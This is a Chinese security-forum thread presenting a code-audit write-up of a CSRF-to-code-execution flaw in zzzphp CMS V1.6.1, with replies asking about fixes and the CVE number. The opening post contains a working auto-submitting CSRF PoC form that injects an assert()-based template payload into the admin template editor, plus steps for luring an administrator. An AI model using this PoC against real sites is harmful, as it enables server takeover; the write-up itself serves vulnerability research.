CVE-2019-9041 CSRF到Getshell漏洞
本帖最后由 90_ 于 2019-7-10 10:34 编辑前言无意中看到vulnhub新放了一个Csrf大礼包,集合多个最新的csrf to getshell的cve!所以拿这个系统做一个系列关于Csrf的代码审计之路!今天的cms是zzzphp,漏洞并不是特别复杂,算是开个头吧!正文审计的zzzphp系统版本为V1.6.1,首先是一个csrf漏洞,这个漏洞原因在于整个后台没有csrf token保护,导致存在csrf漏洞,所以可以伪造客户端请求!再配合CVE-2019-9041即可getshell!首先我们使用Burp Suite生成一个CSRF POC修改如下:<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('', '', '/')</script> <form action="http://192.168.1.64/zzzphp/admin015/save.php?act=editfile" method="POST"> <input type="hidden" name="file" value="/zzzphp/template/pc/cn2016/html/search.html" /> <input type="hidden" name="filetext" value="{if:assert($_;POST)}phpinfo();{end if}" /> <input type="submit" value="Submit request" /> </form> <script> document.forms.submit(); </script></body></html>其中生效的payload为html编码的{if:assert($_POST)}phpinfo();{end if}。我们把这个poc保存为html文件,在管理员登陆的状态下,诱导管理员点击包含poc的链接,即可在search.html模版中插入恶意代码!利用过程csrf诱导点击链接管理员点击后操作为后台的模版管理 -> 电脑模版 -> cn2016(6) -> html -> search.html 编辑在模版中添加{if:assert($_POST)}xxx;{end if} 保存访问 http://test.agesec.com/search/代码执行
怎么还有变成表情操作///:(
RE: CVE-2019-9041 CSRF到Getshell漏洞
danko 发表于 2019-7-9 01:37怎么还有变成表情操作///
学会用代码编辑器
Re: CVE-2019-9041 CSRF到Getshell漏洞
感谢分享,这个CSRF结合模板编辑的getshell思路很清晰,代码和利用过程都写得很详细。想问一下,如果目标后台有独立的CSRF token校验,这种漏洞是否还存在其他的利用方式?Re: CVE-2019-9041 CSRF到Getshell漏洞
感谢分享,这个漏洞分析得很清晰,csrf配合模板注入的思路确实经典。请问这个版本的zzzphp现在已经修复了吗?或者有没有什么临时缓解措施,比如在后台加token验证?Re: CVE-2019-9041 CSRF到Getshell漏洞
感谢分享,分析很清楚!这个利用方式很巧妙,通过CSRF配合模板引擎的{if}标签直接 getshell,思路值得学习。请问这个cms的模板引擎对{if:assert()} 这类动态函数调用有没有什么过滤,还是完全信任用户输入?另外,CVE-2019-9041的具体编号我查了一下,好像是另一个cms的漏洞,这里写的是主动配合使用,实际上就是利用csrf写入文件再解析执行,对吧?
页:
[1]